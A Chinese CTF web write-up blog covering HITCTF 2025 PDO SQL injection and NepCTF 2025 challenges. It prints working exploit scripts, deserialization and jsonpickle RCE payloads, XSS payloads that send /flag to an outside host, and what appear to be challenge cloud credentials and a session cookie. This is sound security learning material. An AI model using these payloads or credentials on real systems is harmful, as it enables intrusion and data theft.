	COMMENTS	= ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
	SPECIALS	= [:?"'`/#-];
	MULTICHAR	= ([:]{2,}|[?]{2,});
	ANYNOEOF	= [\001-\377];
	*/

	/*!re2c
		(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
		(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
		([`]([`][`]|ANYNOEOF\[`])*[`])			{ RET(PDO_PARSER_TEXT); }
		MULTICHAR								{ RET(PDO_PARSER_TEXT); }
		BINDCHR									{ RET(PDO_PARSER_BIND); }
		QUESTION								{ RET(PDO_PARSER_BIND_POS); }
		SPECIALS								{ SKIP_ONE(PDO_PARSER_TEXT); }
		COMMENTS								{ RET(PDO_PARSER_TEXT); }
		(ANYNOEOF\SPECIALS)+ 					{ RET(PDO_PARSER_TEXT); }
	*/
}

反引号里可以被接受的内容包括了 \001-\377 ，但是偏偏少了一个 \0 。也就是说如果我们传入 ?\0 会导致PDO 试图把 ?\0 当作一个完整的反引号标识符，读到 \0 时 fallback 到 SPECIALS 分支，反引号被当做一个普通符号跳过了，这导致紧接着的 ? 暴露出来，被 PDO 当做一个占位符。

另外waf禁止了[ \t\r\n] ，在MySQL会将 \x0b 识别为空白符， \x0b（垂直制表符VT）可以绕过过滤

53 45 4C 45 43 54   -> SELECT
0B                  -> \x0b
31 2B 31            -> 1+1
3B                  -> ;

waf还禁止了文章中使用的#号

`1`	`info = \?#\x00`

#不能使用，使用--\x0b替代，过滤只过滤--[ \t\r\n]的形式，而没有过滤–本身没被过滤，--\x0b绕过过滤的同时最后会被解析成--[空格]，达到注释的目的。

0x04 构造payload

payload结构：

info = b'\\?--\x0b\x00' #多加一个\是为了制造合法列名进行逃逸
key = b"x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b"

# b"x`FROM\x0b("
# b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
# b"FROM\x0binformation_schema.tables\x0b"
# b"WHERE\x0btable_schema=database()"
# b")y;--\x0b"

执行流程分析：

1.PDO prepare:

`1`	SELECT `\?--\x0b\x00` FROM users WHERE username = ?

2.PDO替换:

?的位置被替换为key的值

`1`	SELECT `x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b'--\x0b\x00` FROM users WHERE username = ?

3.PDO预编译:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;-- '-- ` FROM users WHERE username = ?

key整体被自动加上单引号和反斜杠转义

4.忽略注释后面:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;

MySQL 的 反引号（`） 用来包 标识符（列名、别名、表名），在反引号中：

' 单引号是普通字符
\ 也是普通字符（不是转义）

`1`	`\'x`是一个合法的列名 / 别名

外层查询：从子查询结果中取名为 \'x 的那一列

`1`	SELECT `\'x` FROM ( ... ) y;

子查询：从当前数据库取所有表名，把 table_name 起别名为 \'x

`1`	SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema = database()

其他payload同理。

0x05 exp

import base64
import requests

url = "http://ip"

def split_b64(s):
    """Split base64 to bypass WAF"""
    return " ".join(s)

def exploit(key_payload):
    
    info = b'\\?--\x0b\x00' 
    
    info_b64 = (base64.b64encode(info).decode())
    key_b64 = (base64.b64encode(key_payload).decode())
    
    r = requests.get(url, params={'info': info_b64, 'key': key_b64}, timeout=10)
    print(r.text)
    
    if r.text.strip():
        print(r.text)
    
    return r

vt = b'\x0b'  

exploit(b'1`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(table_name)' + vt + 
        b'AS' + vt + b"`'1`" + vt + b'FROM' + vt + b'information_schema.tables' + vt + 
        b'WHERE' + vt + b'table_schema=database())y;--' + vt)

#使用hex就不用加引号了（引号被过滤）
table_hex = b'0x666c6167'
exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(column_name)' + vt + 
        b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.columns' + vt + 
        b'WHERE' + vt + b'table_name=' + table_hex + b')y;--' + vt)


exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'flag' + vt + b'AS' + vt + 
        b"`'x`" + vt + b'FROM' + vt + b'flag' + vt + 
        b'LIMIT' + vt + b'1)y;--' + vt)

ezLoader

java学会了再来复现

参考链接：

https://gyrojibering.github.io/ctf/2025/12/07/hitctf-2025-writeup/

https://www.turker.cn/archives/hitctf-2025-writeup

Novel SQL Injection Technique in PDO Prepared Statements

https://lunaticquasimodo.top/blog

NepCTF 2025 web wp

Thu, 07 Aug 2025 16:06:00 +0800

0x00 前言

最近也是处在保研的一个空窗期，既不能安心摆烂又不想学，于是想着给自己找点事做，正好前不久打了一下这个比赛（但是没打完就结束了），想到自己太久没写博客了，这比赛题目质量又挺好的，就半复现半记录一下吧。

0x01 easyGooGooVVVY&&RevengeGooGooVVVY

之前没有接触过这个东西，找到这么一片文章大概了解了一下用法 https://www.cnblogs.com/yyhuni/p/18012041

这题不出网，当时是拷打 ai 就都出了，据说题目环境有点问题

就这样吧这题自由度比较高，直接放上我的 payload:

def command="env";
def res=command.execute().text;
res
# 我怀疑源代码就是类似于python中eval那个环境,不能用println res或者return res,这样会报错
 
def shell = new GroovyShell()
def res = shell.evaluate('"env".execute()')
res

再放一下其他师傅的解法

"".class.forName("java.lang.Runtime").getRuntime().exec("env").text//反射
 
this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("env").text
//classloader
 
proc = ['sh','-c','env'] as ProcessBuilder
proc?.start()?.text
 
//还可以用FileInputStream直接读/proc/self/environ

0x02 JavaSeri

是一个魔改过的 shiro

但是这题也有点草台班子，有些人直接用工具秒了，我做的时候只剩 exp 了

www.zip 可以看到源码，大概就是这么个结构，chain 感觉就是换了个名字

链子如下：

`1`	`HaJiBamboo#readObject->ChainHaJiMi#doChain->HaJiMi#getMethod("getRuntime", null)->HaJiMi#invoke(null, null)->HaJiMi#exec("bash -c ...")`

他给的那个 exp 直接打过不了，需要用反射把 HaJiBamboo 中的私有属性 judge 改成 false，入口点是在 /login 通过 else 分支，rememberHaJiMi 传入

放上 exp：

package com.example.demo;
 
import com.example.demo.chains.ChainHaJiMi;
import com.example.demo.chains.HaJiBamboo;
import com.example.demo.chains.HaJiMi;
import com.example.demo.myOwnShiro.ShiroCrypto;
 
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
 
public class Main {
    public static void main(String[] args) throws Exception {
        HaJiMi[] hajimiArray=new HaJiMi[]{
                new HaJiMi("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new HaJiMi("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new HaJiMi("exec",new Class[]{String.class},new String[]{"calc"})
        };
 
        Runtime runtime=Runtime.getRuntime();
        Class run=runtime.getClass();
        HaJiBamboo bamboo=new HaJiBamboo(run,new ChainHaJiMi(),hajimiArray);
        Field judgeField = HaJiBamboo.class.getDeclaredField("judge");
        judgeField.setAccessible(true);
        judgeField.set(bamboo, false); 
        seri(bamboo);
        unseri("D:\\CTF\\2025\\nepctf2025\\www\\aminuosi.bin");
        System.out.println(ShiroCrypto.encryptFile("D:\\CTF\\2025\\nepctf2025\\www\\aminuosi.bin"));
    }
    public static void seri(Object o) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\CTF\\2025\\nepctf2025\\www\\aminuosi.bin"));
        objectOutputStream.writeObject(o);
    }
    public static Object unseri(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectinputstream=new ObjectInputStream(new FileInputStream(filename));
        Object obj=objectinputstream.readObject();
        return obj;
    }
}

0x03 safe_bank

这题之后当时有事就没看了，跟着复现一下

这么一看还是这个 jsonpickle 有问题，和之前 xyctf 遇到那题应该差不多，大概是 cookie 那里可以反序列化进行 rce，找到两篇文章

https://xz.aliyun.com/news/16133 https://xz.aliyun.com/news/16041

jsonpickle 采用 Unpickler._restore 对序列化对象进行恢复。而每种标签又对应着不同的_restore 函数。例如 py/object，会调用_restore_object 进行处理。先来想办法列目录和看源码吧：

{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "glob.glob", "py/newargs": ["/*"]},
      "ts": 1753715060
    }
}//转成base64修改cookie刷新页面

有 /readflag 看来不能直接读 flag，那就先看看源码吧

{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "linecache.getlines", "py/newargs": ["/app/app.py"]},
      "ts": 1753715060
    }
}

整理一下

from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time
 
app = Flask(__name__)
app.secret_key = os.urandom(24)
 
class Account:
    def __init__(self, uid, pwd):
        self.uid = uid
        self.pwd = pwd
 
class Session:
    def __init__(self, meta):
        self.meta = meta
 
users_db = [
    Account("admin", os.urandom(16).hex()),
    Account("guest", "guest")
]
 
def register_user(username, password):
    for acc in users_db:
        if acc.uid == username:
            return False
    users_db.append(Account(username, password))
    return True
 
FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]
 
def waf(serialized):
    try:
        data = json.loads(serialized)
        payload = json.dumps(data, ensure_ascii=False)
        for bad in FORBIDDEN:
            if bad in payload:
                return bad
        return None
    except:
        return "error"
 
@app.route('/')
def root():
    return render_template('index.html')
 
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')
        
        if not username or not password or not confirm_password:
            return render_template('register.html', error="所有字段都是必填的。")
        
        if password != confirm_password:
            return render_template('register.html', error="密码不匹配。")
            
        if len(username) < 4 or len(password) < 6:
            return render_template('register.html', error="用户名至少需要4个字符，密码至少需要6个字符。")
        
        if register_user(username, password):
            return render_template('index.html', message="注册成功！请登录。")
        else:
            return render_template('register.html', error="用户名已存在。")
    
    return render_template('register.html')
 
@app.post('/auth')
def auth():
    u = request.form.get("u")
    p = request.form.get("p")
    for acc in users_db:
        if acc.uid == u and acc.pwd == p:
            sess_data = Session({'user': u, 'ts': int(time.time())})
            token_raw = jsonpickle.encode(sess_data)
            b64_token = base64.b64encode(token_raw.encode()).decode()
            resp = make_response("登录成功。")
            resp.set_cookie("authz", b64_token)
            resp.status_code = 302
            resp.headers['Location'] = '/panel'
            return resp
    return render_template('index.html', error="登录失败。用户名或密码无效。")
 
@app.route('/panel')
def panel():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root', error="缺少Token。"))
    
    try:
        decoded = base64.b64decode(token.encode()).decode()
    except:
        return render_template('error.html', error="Token格式错误。")
    
    ban = waf(decoded)
    if ban:
        return render_template('error.html', error=f"请不要黑客攻击！{ban}")
    
    try:
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('user_panel.html', username=meta.get('user'))
        
        return render_template('admin_panel.html')
    except Exception as e:
        return render_template('error.html', error=f"数据解码失败。")
 
@app.route('/vault')
def vault():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root'))
 
    try:
        decoded = base64.b64decode(token.encode()).decode()
        if waf(decoded):
            return render_template('error.html', error="请不要尝试黑客攻击！")
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")
            
        flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
        return render_template('vault.html', flag=flag)
    except:
        return redirect(url_for('root'))
 
@app.route('/about')
def about():
    return render_template('about.html')
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

这黑名单看着挺吓人的，先看看官方 wp 的做法：

jsonpickle 自定义的 loadclass 函数中。在 208 行对模块进行逆向翻译时，依次调用了 util.untranslate_module_name->util._0_9_6_compat_untranslate。

说人话就是 python 兼容问题导致的 builtin 和 exceptions 没有在 builtins 中，因此可以绕过。

{"py/object":"__main__.Session","meta":{"user":{"py/object":"exceptions.eval","py/newargsex":[{"py/set":["exec(\"imp\"+\"ort subpro\"+\"cess;subpro\"+\"cess.geto\"+\"utput('/r\"+\"eadflag>/app/static/flag')\")"]},""]},"ts":114514}}

lamentxu 师傅的解法：用 clear 方法把全局变量黑名单清空

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}
 
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag > /app/1.txt"]},"ts":1753446254}}
 
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargsex": [{"py/set":["/app/1.txt"]},""]},"ts":1753446254}}

还有一些在黑名单外的函数

{"py/object":"__main__.Session","meta":{"user":{"py/object":"distutils.spawn.spawn","py/newargs":["sh","-c","/r*f* > flag.txt"]]},"ts":114514}}
 
# 还有个profile.run（功能有点类似于exec）？话说黑名单里不是有file吗
# bytes在new的时候会触发map的实例化，比如这样就可以触发rce
payload = {
    "py/object": "app.Session",
    "meta": {
        "user": {
            "py/object": "__builtin__.bytes",
            "py/newargs": {
                "py/object": "__builtin__.map",
                "py/newargs": [
                    {"py/function": "__builtin__.eval"},
                    [f"exec({chr_command})"],
                ],
            },
        },
        "ts": int(time.time()),
    },
}

0x04 fakexss

好像是云服务关掉了不能复现，大致看一下 wp 吧

有点类似于 minio 那个东西

import json
from qcloud_cos import CosConfig, CosS3Client
 
def get_bucket_info(region, bucket, secret_id, secret_key, token):
    """
    Use temporary credentials to get bucket information.
    """
    try:
        # Configure COS client
        config = CosConfig(
            Region=region,
            SecretId=secret_id,
            SecretKey=secret_key,
            Token=token,
            Scheme='https'
        )
        client = CosS3Client(config)
 
        # List objects in the bucket
        response = client.list_objects(Bucket=bucket)
 
        # Print bucket info
        print(f"Bucket '{bucket}' information retrieved successfully:")
        print(response)
 
        # Print object keys if available
        if 'Contents' in response:
            for i, obj in enumerate(response['Contents']):
                print(f"{i+1}. {obj['Key']}")
 
        return response
    except Exception as e:
        print(f"Exception occurred while getting bucket info: {e}")
        return None
 
if __name__ == "__main__":
    # Input bucket info
    REGION = "ap-guangzhou"
    BUCKET = "test-1360802834"
    SECRET_ID = "AKID9zMxupjxlb3N4ew3HFlEoUuLbw6PfzWlJwlohod5utGR8YPMk0BzFc52_i_c7GJ"
    SECRET_KEY = "a1mB43BS4VNOUx4qdWSZcLw6MTCsmflnu1VjVIAQjdU="
    TOKEN = (
        "0TiYj7xc2u1d126cihcnHaKUjpRmygCa4110e1bc77e4c6cf6b645ec9100602390NgBtUSdkbd2I2"
        "a5Pme0s8bTqHTFJP-by2EO8Jjp1Eo6y8N1-yNztj7rCQTf2YhKirVFbmYPedQCT8ZtcsWP8yekf"
        "w4WgwcfVcy3nsoNUKC37YT9_hllr2BN2wfaModBPDSAZuQ_MTzjsiHb2qQOj_e6Fd0LckMhLK_x5e"
        "aSU42p_QU8FwSDf3u5M8XBZSYx_iCIRVV0Ji5LSLsiqjnEoH3HSGZZuzcIaeNy2OhqbjNM10QM"
        "hNrUxE3wCovGONgt8BV96__DwgSZefQNW0cOVVQLIsdIKm2wXVz_9kcjNoxGH01Rh8reFzUeBitqqW7"
        "KcH7DNCMwIC5O7WcfjIitTHOrmIy9dsx21YZbEeISdQkShKFcATe2o4WWu0sdTkeQpsZ3"
        "ihQm46yetgA0Y8QOqc40SvbO3OdlhMMLw3Gkoy6VbLrTLpGVYn0_cp4Z7DdCZaQrUR0ehi7FOCXSwQ"
    )
 
    # Get bucket info using temporary credentials
    get_bucket_info(REGION, BUCKET, SECRET_ID, SECRET_KEY, TOKEN)

iframe 的 URL 直接做拼接，这里存在 xss

这里也可以传入 fileurl

再看一下 bot，注释说 bot 会使⽤客⼾端访问，所以下载客户端看一下

给了一个 exe 是 electron 打包的，解压后提取 app.asar 就能得到源码

const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');
 
let mainWindow = null;
 
function createWindow() {
  mainWindow = new BrowserWindow({
    width: 1600,
    height: 1200,
    webPreferences: {
      preload: path.join(__dirname, 'preload.js'),
      contextIsolation: true,
    }
  });
 
  // 默认加载本地输入页面
  mainWindow.loadFile('index.html');
}
 
app.whenReady().then(createWindow);
 
// 接收用户输入的地址并加载它
ipcMain.handle('load-remote-url', async (event, url) => {
 
  if (mainWindow) {
    mainWindow.loadURL(url);
  }
});
 
ipcMain.handle('curl', async (event, url) => {
  return new Promise((resolve) => {
 
    const cmd = `curl -L "${url}"`;
 
    exec(cmd, (error, stdout, stderr) => {
      if (error) {
        return resolve({ success: false, error: error.message });
      }
      resolve({ success: true, data: stdout });
    });
  });
});

这里有一个原生 curl 我们直接可以用这个去打 ssrf，所以总体的思路如下：使用 window.electronAPI.curl 触发 xss=>/api/bot 访问 => 外带 / 回显到网页（/api/users）中，另外可以通过两个路径，可以直接通过 uploads / 那个路径走，或者直接通过 api/set-login-bg 都可以

# uploads外带
uploads/1f1eb21d-a0c9-441a-941b-c37498c3bcb8/微信图片_2025-07-16_112547_870.jpg?a=1\" onload=\"window.electronAPI.curl('file:///flag').then(result =>{window.location.href='https://mak4r1.com/xss.php?a=test'+result.data});
 
# uploads回显到网页中
uploads/f329a942-bd2e-4902-bc83-add5e4df0094/微信图片_2025-07-16_112547_870.jpg?a=1\" onload=\"window.electronAPI.curl('file:///flag').then(result => { fetch('/api/login',{method:'POST',headers:{'ContentType':'application/json'},credentials:'include',body:JSON.stringify({username:'admin',password:'nepn3pctf-game2025'})}).then(()=>fetch('/api/save-bio',{method:'POST',headers:{'ContentType':'application/json'},credentials:'include',body:JSON.stringify({bio:result
 .data})}));});
 
# lamentxu师傅另一个路由回显到网页中
POST /api/set-login-bg HTTP/1.1
Host: nepctf30-yfrc-xj2l-l3y8-z9ogmlq6d745.nepctf.com
Cookie: connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes
Content-Type: application/json
Content-Length: 327
 
{"key":"x\" onload=\"document.cookie='connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""}

据说是环境有些问题，我复现一直没成功。

0x05 我难道不是 sql 注入天才吗

又是一个没有接触过的数据库

通过传入 1 、2 、3 等等可以输出 id 为相应值的结果，传入 id 发现输出了所有用户数据。

单引号报错了

漏洞语句为

`1`	`SELECT * FROM users WHERE id = {user_input} FORMAT JSON`

先用 FROM table select 绕过 select from

一般认为没有括号就无法进行子查询，所以这里的思路只能是利用 union、intersect、except 中的一个进行查询拼接（mysql8 高版本也支持）

1
2
3

select * from users where id=1 
intersect 
from system.databases select 1,'User_1','user1@example.com',44 where name>'abc'

当数据库名大于字符串 abc，就会返回 User_1 的信息，不大于就会报错，利用这一点可以注⼊出库名了，那么表名，列名呢？我们注入表名列名需要使用如下语句

select * from users where id=1 
intersect 
from system.tables select 1,'User_1','user1@example.com',44 where 
database='nepnep' and name > 'abc'

再利用操作符 a ? b : c 绕过 or 和 and

最终 payload 模板：

`1`	`1 intersect from system.tables select 1,'User_1','user1@example.com',44 where database='nepnep'?name>'abc':0`

还有一种群里师傅的模板，不过是时间盲注没有官方 wp 中布尔盲注效率高

`1`	`id INTERSECT FROM system.databases AS inject JOIN users ON inject.name LIKE '{pattern}'SELECT users.id, users.name, users.email, users.age"`

官方 exp 如下：

import requests
 
url = ''
flag = ''
 
for i in range(1, 50):
    left = 1
    right = 129
    while right - left != 1:
        mid = (left + right) // 2
 
        # 这里是不同的爆破目标，可以根据需要切换
        # 爆破数据库名
        # data = {
        #     'id': "1 intersect from system.databases select "
        #           "1,'User_1','user1@example.com',44 where name>'{mid}' limit 1,1"
        #           .format(mid=flag + chr(mid))
        # }
 
        # 爆破表名（database='nepnep'）
        # data = {
        #     'id': "1 intersect from system.tables select "
        #           "1,'User_1','user1@example.com',44 where database='nepnep' and name>'{mid}'"
        #           .format(mid=flag + chr(mid))
        # }
 
        # 爆破字段名（table='nepnep'）
        # data = {
        #     'id': "1 intersect from system.columns select "
        #           "1,'User_1','user1@example.com',44 where table='nepnep' and name>'{mid}' limit 2,1"
        #           .format(mid=flag + chr(mid))
        # }
 
        # 爆破数据（字段名为 51@g_ls_h3r3）
        data = {
            'id': "1 intersect from nepnep.nepnep select "
                  "1,'User_1','user1@example.com',44 where `51@g_ls_h3r3` > '{mid}'"
                  .format(mid=flag + chr(mid))
        }
 
        r = requests.post(url=url, data=data)
 
        if '未找到ID' not in r.text:
            left = mid
        else:
            right = mid
 
    flag += chr(left)
    print(flag.encode())

0x06 参考链接

非常感谢这几位师傅的博客，对我复现有很大帮助。

https://dwd.moe/post/nepctf-2025

https://www.cnblogs.com/LAMENTXU/articles/19007988

NepCTF2025-web-writeup_强网杯 s8 jsonpickle-CSDN 博客